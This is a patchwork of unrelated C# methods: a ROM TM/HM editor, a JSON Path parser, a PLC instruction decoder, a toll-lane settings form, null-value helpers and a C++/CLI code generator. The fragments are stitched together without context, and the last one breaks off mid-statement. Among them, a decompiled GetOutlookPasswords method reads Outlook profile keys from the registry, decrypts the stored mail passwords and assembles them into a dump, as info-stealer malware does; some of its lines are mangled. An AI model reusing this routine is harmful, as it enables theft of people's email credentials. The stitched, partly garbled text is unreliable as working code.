/// <summary> /// /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void SvBttn_Click(object sender, EventArgs e) { var indexbuf = TMHMList.SelectedIndex; string LocalReverseHex() { var argHexData = Strings.Right("0000" + Conversion.Hex(AttackList.SelectedIndex), 4); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret); } var argStart = _tmhmAttacks + indexbuf * 2; var argData = LocalReverseHex(); HexFunctions.WriteHex(ref MainObject.LoadedRom, ref argStart, ref argData); TMHMList.Items.Clear(); var loopvar = 0; while (loopvar < Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMsPlusHMs", "")) == true) { if (loopvar > Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMs", "")) - 1d) { string LocalReadHex() { var argStart2 = _tmhmAttacks + loopvar * 2; var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength); return(ret); } string LocalReverseHex1() { var argHexData = LocalReadHex(); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret); } TMHMList.Items.Add(Operators.ConcatenateObject("HM" + (loopvar - 49) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex1(), System.Globalization.NumberStyles.HexNumber)))); loopvar += 1; } else if (loopvar < 9) { string LocalReadHex2() { var argStart2 = _tmhmAttacks + loopvar * 2; var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength); return(ret); } string LocalReverseHex3() { var argHexData = LocalReadHex2(); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret); } TMHMList.Items.Add(Operators.ConcatenateObject("TM" + "0" + (loopvar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex3(), System.Globalization.NumberStyles.HexNumber)))); loopvar += 1; } else { string LocalReadHex1() { var argStart2 = _tmhmAttacks + loopvar * 2; var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength); return(ret); } string LocalReverseHex2() { var argHexData = LocalReadHex1(); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret); } TMHMList.Items.Add(Operators.ConcatenateObject("TM" + (loopvar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex2(), System.Globalization.NumberStyles.HexNumber)))); loopvar += 1; } } TMHMList.SelectedIndex = indexbuf; }
public bool TryParse <T>(string source, ref int index, [NotNullWhen(true)] out JsonPathExpression?expression, [NotNullWhen(false)] out string?errorMessage) { PathExpression <T> node; var isLocal = source[index] == '@'; if (!JsonPathParser.TryParse(source, ref index, out var path, out errorMessage) && // Swallow this error from the path parser and assume the path just ended. // If it's really a syntax error, the expression parser should catch it. errorMessage != "Unrecognized JSON Path element.") { expression = null !; return(false); } var lastOp = path !.Operators.Last(); if (lastOp is NameOperator name) { path.Operators.Remove(name); if (name.Name == "indexOf") { if (source[index] != '(') { errorMessage = "Expected '('. 'indexOf' operator requires a parameter."; expression = null !; return(false); } index++; if (!JsonParser.TryParse(source, ref index, out var parameter, out errorMessage, true) && // Swallow this error from the JSON parser and assume the value just ended. // If it's really a syntax error, the expression parser should catch it. errorMessage != "Expected \',\', \']\', or \'}\'.") { errorMessage = $"Error parsing parameter for 'indexOf' expression: {errorMessage}."; expression = null !; return(false); } if (source[index] != ')') { errorMessage = "Expected ')'."; expression = null !; return(false); } index++; node = new IndexOfExpression <T>(path, isLocal, parameter !); } else { node = new NameExpression <T>(path, isLocal, name.Name); } } else if (lastOp is LengthOperator length) { path.Operators.Remove(length); node = new LengthExpression <T>(path, isLocal); } else if (lastOp is ArrayOperator array) { path.Operators.Remove(array); var query = array.Query as SliceQuery; var constant = query?.Slices.FirstOrDefault <Slice?>()?.Index; if (query == null || query.Slices.Count() != 1 || !constant.HasValue) { errorMessage = "JSON Path expression indexers only support single constant values."; expression = null !; return(false); } node = new ArrayIndexExpression <T>(path, isLocal, constant.Value); } else { throw new NotImplementedException(); } expression = new PathValueExpression <T>(node); return(true); }
/// <summary> /// /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void TMHMEditor_Load(object sender, EventArgs e) { int loopVar; _tmhmAttacks = int.Parse(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TMData", ""), System.Globalization.NumberStyles.HexNumber); TMHMList.Items.Clear(); loopVar = 0; while (loopVar < Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMsPlusHMs", "")) == true) { if (loopVar > Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMs", "")) - 1d) { string LocalReadHex() { var argStart2 = _tmhmAttacks + loopVar * 2; var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength); return(ret); } string LocalReverseHex() { var argHexData = LocalReadHex(); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret); } TMHMList.Items.Add(Operators.ConcatenateObject("HM" + (loopVar - (Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMs", "")) - 1d)) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex(), System.Globalization.NumberStyles.HexNumber)))); loopVar += 1; } else if (loopVar < 9) { string LocalReadHex2() { var argStart2 = _tmhmAttacks + loopVar * 2; var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength); return(ret); } string LocalReverseHex2() { var argHexData = LocalReadHex2(); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret); } TMHMList.Items.Add(Operators.ConcatenateObject("TM" + "0" + (loopVar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex2(), System.Globalization.NumberStyles.HexNumber)))); loopVar += 1; } else { string LocalReadHex1() { var argStart2 = _tmhmAttacks + loopVar * 2; var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength); return(ret); } string LocalReverseHex1() { var argHexData = LocalReadHex1(); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret); } TMHMList.Items.Add(Operators.ConcatenateObject("TM" + (loopVar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex1(), System.Globalization.NumberStyles.HexNumber)))); loopVar += 1; } } AttackList.Items.Clear(); loopVar = 0; while (loopVar < Conversions.ToDouble(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "NumberOfAttacks", "")) + 1d == true) { AttackList.Items.Add(GetNameFunctions.GetAttackName(loopVar)); loopVar += 1; } TMHMList.SelectedIndex = 0; }
private static Instruction CreateInstructionBasedOnElement(byte firstComponent, byte secondComponent, int counter) { Elements operand = new Elements(); Operators operatorIL = Operators.LD; //I if (firstComponent >= 0xc0 && firstComponent <= 0xcf) { operand.symbol = Symbol.I; if (firstComponent >= 0xc0 && firstComponent <= 0xc7) { operatorIL = Operators.AND; operand.name = "I" + secondComponent + "." + (firstComponent - 0xc0).ToString(); //System.Diagnostics.Debug.WriteLine("I"); IsLoad = true; } else { operatorIL = Operators.OR; operand.name = "I" + secondComponent + "." + (firstComponent - 0xc8).ToString(); IsLoad = true; } DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); } //!I else if (firstComponent >= 0xe0 && firstComponent <= 0xef) { operand.symbol = Symbol.I; if (firstComponent >= 0xe0 && firstComponent <= 0xe7) { operatorIL = Operators.ANDN; operand.modifier = Modifiers.N; operand.name = "I" + secondComponent + "." + (firstComponent - 0xe0).ToString(); //System.Diagnostics.Debug.WriteLine("I"); IsLoad = true; } else { operatorIL = Operators.ORN; operand.modifier = Modifiers.N; operand.name = "I" + secondComponent + "." + (firstComponent - 0xe8).ToString(); IsLoad = true; } DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); } //Q else if ((firstComponent >= 0xd0 && firstComponent <= 0xdf) || (firstComponent >= 0xf0 && firstComponent <= 0xf7)) { if (firstComponent >= 0xd0 && firstComponent <= 0xd7) { operand.symbol = Symbol.Q; operatorIL = Operators.S; operand.name = "Q" + (secondComponent - 0x80).ToString() + "." + (firstComponent - 0xd0).ToString(); //System.Diagnostics.Debug.WriteLine("S"); DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard); } else if (firstComponent >= 0xd8 && firstComponent <= 0xdf) { operand.symbol = Symbol.Q; operatorIL = Operators.ST; operand.name = "Q" + (secondComponent - 0x80).ToString() + "." + (firstComponent - 0xd8).ToString(); //System.Diagnostics.Debug.WriteLine("Q"); DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard); } else if (firstComponent >= 0xf0 && firstComponent <= 0xf7) { operand.symbol = Symbol.Q; operatorIL = Operators.R; operand.name = "Q" + (secondComponent - 0x80).ToString() + "." + (firstComponent - 0xf0).ToString(); //System.Diagnostics.Debug.WriteLine("R"); DiagnosticData.AddData(counter, DiagnosticData.Operation.Reset, DiagnosticData.Symbol.standard); } } //M else if ((firstComponent >= 0x80 && firstComponent <= 0x9f) || (firstComponent >= 0xb0 && firstComponent <= 0xbf)) { if (firstComponent >= 0x80 && firstComponent <= 0x87) { operand.symbol = Symbol.M; operatorIL = Operators.AND; operand.name = "M" + secondComponent + "." + (firstComponent - 0x80).ToString(); if (!Memory.Data.markers.ContainsKey(operand.name)) { Memory.Data.markers.Add(operand.name, false); } IsLoad = true; DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); } else if (firstComponent >= 0x88 && firstComponent <= 0x8f) { operand.symbol = Symbol.M; operatorIL = Operators.OR; operand.name = "M" + secondComponent + "." + (firstComponent - 0x88).ToString(); if (!Memory.Data.markers.ContainsKey(operand.name)) { Memory.Data.markers.Add(operand.name, false); } IsLoad = true; DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); } else if (firstComponent >= 0x90 && firstComponent <= 0x97) { operand.symbol = Symbol.M; operatorIL = Operators.S; operand.name = "M" + secondComponent + "." + (firstComponent - 0x90).ToString(); if (!Memory.Data.markers.ContainsKey(operand.name)) { Memory.Data.markers.Add(operand.name, false); } DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard); } else if (firstComponent >= 0x98 && firstComponent <= 0x9f) { operand.symbol = Symbol.M; operatorIL = Operators.ST; operand.name = "M" + secondComponent + "." + (firstComponent - 0x98).ToString(); if (!Memory.Data.markers.ContainsKey(operand.name)) { Memory.Data.markers.Add(operand.name, false); } DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard); } else if (firstComponent >= 0xb0 && firstComponent <= 0xb7) { operand.symbol = Symbol.M; operatorIL = Operators.R; operand.name = "M" + secondComponent + "." + (firstComponent - 0xb0).ToString(); if (!Memory.Data.markers.ContainsKey(operand.name)) { Memory.Data.markers.Add(operand.name, false); } DiagnosticData.AddData(counter, DiagnosticData.Operation.Reset, DiagnosticData.Symbol.standard); } } else if ((firstComponent >= 0xa0 && firstComponent <= 0xaf)) { if (firstComponent >= 0xa0 && firstComponent <= 0xa7) { operand.symbol = Symbol.M; operatorIL = Operators.AND; operand.modifier = Modifiers.N; operand.name = "M" + secondComponent + "." + (firstComponent - 0xa0).ToString(); if (!Memory.Data.markers.ContainsKey(operand.name)) { Memory.Data.markers.Add(operand.name, false); } IsLoad = true; } else if (firstComponent >= 0xa8 && firstComponent <= 0xaf) { operand.symbol = Symbol.M; operatorIL = Operators.OR; operand.modifier = Modifiers.N; operand.name = "M" + secondComponent + "." + (firstComponent - 0xa8).ToString(); if (!Memory.Data.markers.ContainsKey(operand.name)) { Memory.Data.markers.Add(operand.name, false); } IsLoad = true; } DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard); } else { return(null); } if (!IsLoaded && IsLoad) { IsLoaded = true; if (operand.modifier == Modifiers.None) { operatorIL = Operators.LD; } else { operatorIL = Operators.LDN; } } return(new Instruction(operatorIL, operand)); }
// Token: 0x060000B3 RID: 179 RVA: 0x0000CC70 File Offset: 0x0000AE70 internal static string GetOutlookPasswords() { string text = ""; string[] array = new string[] { "IMAP Password", "POP3 Password", "HTTP Password", "SMTP Password" }; string text2 = ""; RegistryKey[] array2 = new RegistryKey[] { Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"), Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"), Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"), Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") }; string result; try { foreach (RegistryKey registryKey in array2) { if (registryKey != null) { foreach (string name in registryKey.GetSubKeyNames()) { using (RegistryKey registryKey2 = registryKey.OpenSubKey(name)) { if (registryKey2.GetValue("Email") != null | (registryKey2.GetValue("IMAP Password") != null | registryKey2.GetValue("POP3 Password") != null | registryKey2.GetValue("HTTP Password") != null | registryKey2.GetValue("SMTP Password") != null)) { if (Operators.CompareString(text, "", false) == 0) { text = "Outlook: \r\n"; } foreach (string name2 in array) { if (registryKey2.GetValue(name2) != null) { byte[] encryptedData = (byte[])registryKey2.GetValue(name2); text2 = OutlookRecover.decryptOutlookPassword(encryptedData); } } object objectValue = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("Email")); byte[] bytes; try { object utf = Encoding.UTF8; Type type = null; string memberName = "GetBytes"; object[] array5 = new object[] { RuntimeHelpers.GetObjectValue(objectValue) }; object[] arguments = array5; string[] argumentNames = null; Type[] typeArguments = null; bool[] array6 = new bool[] { true }; object obj = NewLateBinding.LateGet(utf, type, memberName, arguments, argumentNames, typeArguments, array6); if (array6[0]) { objectValue = RuntimeHelpers.GetObjectValue(array5[0]); } bytes = (byte[])obj; } catch (Exception ex) { bytes = (byte[])objectValue; } object objectValue2 = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("SMTP Server")); byte[] bytes2; if (objectValue2 != null) { try { bytes2 = (byte[])registryKey2.GetValue("SMTP Server"); goto IL_29F; } catch (Exception ex2) { object utf2 = Encoding.UTF8; Type type2 = null; string memberName2 = "GetBytes"; object[] array7 = new object[] { RuntimeHelpers.GetObjectValue(objectValue2) }; object[] arguments2 = array7; string[] argumentNames2 = null; Type[] typeArguments2 = null; bool[] array6 = new bool[] { true }; object obj2 = NewLateBinding.LateGet(utf2, type2, memberName2, arguments2, argumentNames2, typeArguments2, array6); if (array6[0]) { objectValue2 = RuntimeHelpers.GetObjectValue(array7[0]); } bytes2 = (byte[])obj2; goto IL_29F; } } bytes2 = Encoding.UTF8.GetBytes("Nothing"); IL_29F: text = text + "SMTP: " + Encoding.UTF8.GetString(bytes2).Replace("\0", "") + "\r\n"; text = text + "User: "******"") + "\r\n"; text = text + "Pass: "******"") + "\r\n\r\n"; } } } } } result = text; } catch (Exception ex3) { } return(result); }
public Filter AddOperator(FilterOperator oprator) { Operators.Add(oprator); return(this); }
public object PFZ(string JM, string JJ, string GJ, string XJ, string YJ) { string[] array = null; string[] array2 = null; int num = 0; string[] string_; checked { if (Operators.CompareString(JM, "", false) != 0) { array2 = (string[])Utils.CopyArray((Array)array2, new string[num + 1]); array2[num] = JM; num++; } if (Operators.CompareString(JJ, "", false) != 0) { array2 = (string[])Utils.CopyArray((Array)array2, new string[num + 1]); array2[num] = JJ; num++; } if (Operators.CompareString(GJ, "", false) != 0) { array2 = (string[])Utils.CopyArray((Array)array2, new string[num + 1]); array2[num] = GJ; num++; } if (Operators.CompareString(XJ, "", false) != 0) { array2 = (string[])Utils.CopyArray((Array)array2, new string[num + 1]); array2[num] = XJ; num++; } if (Operators.CompareString(YJ, "", false) != 0) { array2 = (string[])Utils.CopyArray((Array)array2, new string[num + 1]); array2[num] = YJ; num++; } this.ListBox1.Items.Clear(); string_ = array2; } int num3; long num2 = (long)num3; int num5; long num4 = (long)num5; double num6; double num7; double num8; this.method_6(string_, ref num6, ref num7, ref num8, ref array, ref num2, ref num4); checked { num5 = (int)num4; num3 = (int)num2; if (num7 != 0.0) { this.Label8.Text = Conversions.ToString((long)Math.Round(num7 / 100.0)); } if (num6 != 0.0) { this.Label10.Text = Strings.Format(num6 / 4.0 / 100.0, "0.0"); } if (num8 != 0.0) { this.method_0(this.Panel1, Conversions.ToString((long)Math.Round(num8 / 100.0))); } return(null); } }
private void btLuu_Click(object sender, EventArgs e) { try { this.LocalDatabase = this.tbLocalDatabase.Text; this.LocalUserName = this.tbLocalSqlUser.Text; this.LocalPassWord = this.tbLocalSqlPassword.Text; this.IPMayGiamSat = this.tbComputerWatch.Text; this.IPMayNhanDang = this.tbComputerRecognize.Text; this.ServerImagesPath = this.tbServerFolderImage.Text; this.ServerImagesPathBS = this.tbServerFolderPlateImage.Text; this.PortDuLieuChinh = this.tbPortMain.Text; this.PortDuLieuCu = this.tbPortSub.Text; this.PortMayNhanDangBienSo = this.tbPortRecognize.Text; this.Cabin = this.tbLane.Text; this.IdTram = Conversions.ToInteger(this.cbbCodeTram.Text); this.Instance = this.tbLocalInstance.Text; this.Status = this.cbbPropertyLane.SelectedIndex; this.LocalImagesPath = this.tbLocalFolderlImage.Text; this.ServerName = this.tbServerName.Text; this.ServerSqlUser = this.tbServerSqlUser.Text; this.ServerSqlPassword = this.tbServerSqlPassword.Text; this.ServerDatabase = this.tbServerDatabaseName.Text; this.ServerPublication = this.tbPublicationName.Text; this.ComPortBangDien = this.cbbbangDien.Text; this.ComPortBanPhim = this.cbbComportNameKeyboard.Text; this.ComPortDieuKhien = this.cbbComportNameController.Text; this.ComPortDauDoc = this.cbbComportNameTicket.Text; this.IPDauGhiHinh = this.tbIpDauGhi.Text; this.DVRchanel = 0; this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb0.Checked, 1.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb1.Checked, 2.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb2.Checked, 4.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb3.Checked, 8.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb4.Checked, 16.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb5.Checked, 32.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb6.Checked, 64.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb7.Checked, 128.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb8.Checked, 256.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb9.Checked, 512.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb10.Checked, 1024.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb11.Checked, 2048.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb12.Checked, 4096.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb13.Checked, 8192.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb14.Checked, 16384.0, 0))); this.DVRchanel = Conversions.ToInteger(Operators.AddObject(this.DVRchanel, Interaction.IIf(this.cb15.Checked, 32768.0, 0))); this.TinhNangThoai = this.cbTinhNangThoai.Checked; this.DauDocMaVach = this.cbbDauDoc.SelectedIndex; Encryption.Encryption.Encode("ITVVA", this.LocalUserName, ref this.LocalUserName); Encryption.Encryption.Encode("ITVVA", this.LocalPassWord, ref this.LocalPassWord); this.Config.WriteNode("Catalog", "Database", this.LocalDatabase); this.Config.WriteNode("Login", "Database", this.LocalUserName); this.Config.WriteNode("Password", "Database", this.LocalPassWord); this.Config.WriteNode("MayGiamSat", "Connect", this.IPMayGiamSat); this.Config.WriteNode("NhanDangBienSo", "Connect", this.IPMayNhanDang); this.Config.WriteNode("LocalImagesPath", "Connect", this.LocalImagesPath); this.Config.WriteNode("ServerImagesPath", "Connect", this.ServerImagesPath); this.Config.WriteNode("ServerImagesPathBS", "Connect", this.ServerImagesPathBS); this.Config.WriteNode("PortDuLieuChinh", "Connect", this.PortDuLieuChinh); this.Config.WriteNode("PortDuLieuCu", "Connect", this.PortDuLieuCu); this.Config.WriteNode("PortTroGiup", "Connect", this.PortTroGiup); this.Config.WriteNode("PortMayNhanDangBienSo", "Connect", this.PortMayNhanDangBienSo); this.Config.WriteNode("CabinID", "General", this.Cabin); this.Config.WriteNode("TramId", "General", Conversions.ToString(this.IdTram)); this.Config.WriteNode("Status", "General", Conversions.ToString(this.Status)); this.Config.WriteNode("Instance", "Database", this.Instance); this.Config.WriteNode("DatabaseServer", "SQLReplication", this.ServerDatabase); this.Config.WriteNode("Server", "SQLReplication", this.ServerName); Encryption.Encryption.Encode("ITVVA", this.ServerSqlUser, ref this.ServerSqlUser); this.Config.XmlNodeValue("UserServer", "SQLReplication", this.ServerSqlUser); Encryption.Encryption.Encode("ITVVA", this.ServerSqlPassword, ref this.ServerSqlPassword); this.Config.WriteNode("PasswordServer", "SQLReplication", this.ServerSqlPassword); this.Config.WriteNode("Publication", "SQLReplication", this.ServerPublication); this.Config.WriteNode("TenDauDoc", "NewInfo", Conversions.ToString(this.DauDocMaVach)); this.Config.WriteNode("ComPortBangDien", "NewInfo", this.ComPortBangDien); this.Config.WriteNode("ComPortBanPhim", "NewInfo", this.ComPortBanPhim); this.Config.WriteNode("ComPortDieuKhien", "NewInfo", this.ComPortDieuKhien); this.Config.WriteNode("ComPortDauDoc", "NewInfo", this.ComPortDauDoc); this.Config.WriteNode("DVRChanel", "NewInfo", Conversions.ToString(this.DVRchanel)); if (this.TinhNangThoai) { this.Config.WriteNode("TinhNangThoai", "NewInfo", "1"); } else { this.Config.WriteNode("TinhNangThoai", "NewInfo", "0"); } this.Config.WriteNode("videoCard", "NewInfo", this.IPDauGhiHinh); } catch (Exception expr_96C) { ProjectData.SetProjectError(expr_96C); Interaction.MsgBox("err", MsgBoxStyle.OkOnly, null); ProjectData.ClearProjectError(); } }
public static object SetNull(PropertyInfo objPropertyInfo) { string Left = objPropertyInfo.PropertyType.ToString(); object obj; if (Operators.CompareString(Left, "System.Int16", false) == 0) { obj = (object)Null.NullShort; } else if (Operators.CompareString(Left, "System.Int32", false) == 0 || Operators.CompareString(Left, "System.Int64", false) == 0) { obj = (object)Null.NullInteger; } else if (Operators.CompareString(Left, "system.Byte", false) == 0) { obj = (object)Null.NullByte; } else if (Operators.CompareString(Left, "System.Single", false) == 0) { obj = (object)Null.NullSingle; } else if (Operators.CompareString(Left, "System.Double", false) == 0) { obj = (object)Null.NullDouble; } else if (Operators.CompareString(Left, "System.Decimal", false) == 0) { obj = (object)Null.NullDecimal; } else if (Operators.CompareString(Left, "System.DateTime", false) == 0) { obj = (object)Null.NullDate; } else if (Operators.CompareString(Left, "System.String", false) == 0 || Operators.CompareString(Left, "System.Char", false) == 0) { obj = (object)Null.NullString; } else if (Operators.CompareString(Left, "System.Boolean", false) == 0) { obj = (object)Null.NullBoolean; } else if (Operators.CompareString(Left, "System.Guid", false) == 0) { obj = (object)Null.NullGuid; } else { Type propertyType = objPropertyInfo.PropertyType; if (propertyType.BaseType.Equals(typeof(Enum))) { Array values = Enum.GetValues(propertyType); Array.Sort(values); obj = RuntimeHelpers.GetObjectValue(Enum.ToObject(propertyType, RuntimeHelpers.GetObjectValue(values.GetValue(0)))); } else { obj = (object)null; } } return(obj); }
private bool method_11(GClass1.GClass2 gclass2_0) { return Operators.CompareString(gclass2_0.method_6(), bot_0.string_0, false) == 0; }
public static object GetNull(object objField, object objDBNull) { object objectValue = RuntimeHelpers.GetObjectValue(objField); if (objField == null) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } else if (objField is byte) { if ((int)Convert.ToByte(RuntimeHelpers.GetObjectValue(objField)) == (int)Null.NullByte) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is short) { if ((int)Convert.ToInt16(RuntimeHelpers.GetObjectValue(objField)) == (int)Null.NullShort) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is int) { if (Convert.ToInt32(RuntimeHelpers.GetObjectValue(objField)) == Null.NullInteger) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is float) { if ((double)Convert.ToSingle(RuntimeHelpers.GetObjectValue(objField)) == (double)Null.NullSingle) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is double) { if (Convert.ToDouble(RuntimeHelpers.GetObjectValue(objField)) == Null.NullDouble) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is Decimal) { if (Decimal.Compare(Convert.ToDecimal(RuntimeHelpers.GetObjectValue(objField)), Null.NullDecimal) == 0) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is DateTime) { if (DateTime.Compare(Convert.ToDateTime(RuntimeHelpers.GetObjectValue(objField)).Date, Null.NullDate.Date) == 0) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is string) { if (objField == null) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } else if (Operators.CompareString(objField.ToString(), Null.NullString, false) == 0) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is bool) { if (Convert.ToBoolean(RuntimeHelpers.GetObjectValue(objField)) == Null.NullBoolean) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } else if (objField is Guid) { object obj = objField; Guid guid = NullGuid; if ((obj != null ? (Guid)obj : guid).Equals(Null.NullGuid)) { objectValue = RuntimeHelpers.GetObjectValue(objDBNull); } } return(objectValue); }
public void GenerateFunctionCall(Function function, Class @class = null, Type publicRetType = null) { CheckArgumentRange(function); if (function.OperatorKind == CXXOperatorKind.EqualEqual || function.OperatorKind == CXXOperatorKind.ExclaimEqual) { WriteLine("bool {0}Null = ReferenceEquals({0}, nullptr);", function.Parameters[0].Name); WriteLine("bool {0}Null = ReferenceEquals({0}, nullptr);", function.Parameters[1].Name); WriteLine("if ({0}Null || {1}Null)", function.Parameters[0].Name, function.Parameters[1].Name); WriteLineIndent("return {0}{1}Null && {2}Null{3};", function.OperatorKind == CXXOperatorKind.EqualEqual ? string.Empty : "!(", function.Parameters[0].Name, function.Parameters[1].Name, function.OperatorKind == CXXOperatorKind.EqualEqual ? string.Empty : ")"); } var retType = function.ReturnType; if (publicRetType == null) { publicRetType = retType.Type; } var needsReturn = !retType.Type.IsPrimitiveType(PrimitiveType.Void); const string valueMarshalName = "_this0"; var isValueType = @class != null && @class.IsValueType; if (isValueType && !IsNativeFunctionOrStaticMethod(function)) { WriteLine("auto {0} = ::{1}();", valueMarshalName, @class.QualifiedOriginalName); var param = new Parameter { Name = "(*this)" }; var ctx = new MarshalContext(Context) { MarshalVarPrefix = valueMarshalName, Parameter = param }; var marshal = new CLIMarshalManagedToNativePrinter(ctx); marshal.MarshalValueClassProperties(@class, valueMarshalName); if (!string.IsNullOrWhiteSpace(marshal.Context.SupportBefore)) { Write(marshal.Context.SupportBefore); } } var @params = GenerateFunctionParamsMarshal(function.Parameters, function); var returnIdentifier = Helpers.ReturnIdentifier; if (needsReturn) { if (retType.Type.IsReference()) { Write("auto &{0} = ", returnIdentifier); } else { Write("auto {0} = ", returnIdentifier); } } if (function.OperatorKind == CXXOperatorKind.Conversion || function.OperatorKind == CXXOperatorKind.ExplicitConversion) { var method = function as Method; var typePrinter = new CppTypePrinter(); var typeName = method.ConversionType.Visit(typePrinter); WriteLine("({0}) {1};", typeName, @params[0].Name); } else if (function.IsOperator && function.OperatorKind != CXXOperatorKind.Subscript) { var opName = function.Name.Replace("operator", "").Trim(); switch (Operators.ClassifyOperator(function)) { case CXXOperatorArity.Unary: WriteLine("{0} {1};", opName, @params[0].Name); break; case CXXOperatorArity.Binary: WriteLine("{0} {1} {2};", @params[0].Name, opName, @params[1].Name); break; } } else { if (IsNativeFunctionOrStaticMethod(function)) { Write("::{0}(", function.QualifiedOriginalName); } else { if (isValueType) { Write("{0}.", valueMarshalName); } else if (IsNativeMethod(function)) { Write("((::{0}*)NativePtr)->", @class.QualifiedOriginalName); } Write("{0}(", function.OriginalName); } GenerateFunctionParams(@params); WriteLine(");"); } foreach (var paramInfo in @params) { var param = paramInfo.Param; if (param.Usage != ParameterUsage.Out && param.Usage != ParameterUsage.InOut) { continue; } if (param.Type.IsPointer() && !param.Type.GetFinalPointee().IsPrimitiveType()) { param.QualifiedType = new QualifiedType(param.Type.GetFinalPointee()); } var nativeVarName = paramInfo.Name; var ctx = new MarshalContext(Context) { ArgName = nativeVarName, ReturnVarName = nativeVarName, ReturnType = 